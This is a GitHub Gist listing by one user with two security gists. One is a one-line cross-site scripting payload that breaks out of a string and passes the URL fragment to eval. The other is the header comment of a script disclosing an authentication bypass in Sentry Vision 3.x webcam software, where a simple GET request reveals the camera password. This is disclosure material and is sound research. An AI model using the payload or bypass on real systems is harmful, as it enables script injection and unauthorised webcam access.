Skip to content

Instantly share code, notes, and snippets.

View pabloonicarres's full-sized avatar

pabloonicarres

View GitHub Profile
@pabloonicarres
pabloonicarres / xss.js
Last active August 3, 2018 14:23
xss_payload_over_https
'';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}// msgbox+1
@pabloonicarres
pabloonicarres / sentryvision_authentication_bypass_vulnerability.sh
Last active March 29, 2018 12:58
Authentication Bypass Sentry Vision 3.x
##################################################################################
#Sentry Vision 3.x Authentication Bypass
#Paolo Serracino e Pierluca De Santis
#The sentry vision is offered in free download as a security tool for remoting
#webcam surveillance.
#Authentication is managed on client side. A GET request to the index page
#is enough to retrieve the webcam password and to successfully authenticate,
#resulting in access to the victim webcam.
#Due to the nature of the software, vendor also suggests to use port forwarding
#to make the cam reachable (and exploitable) even from WAN.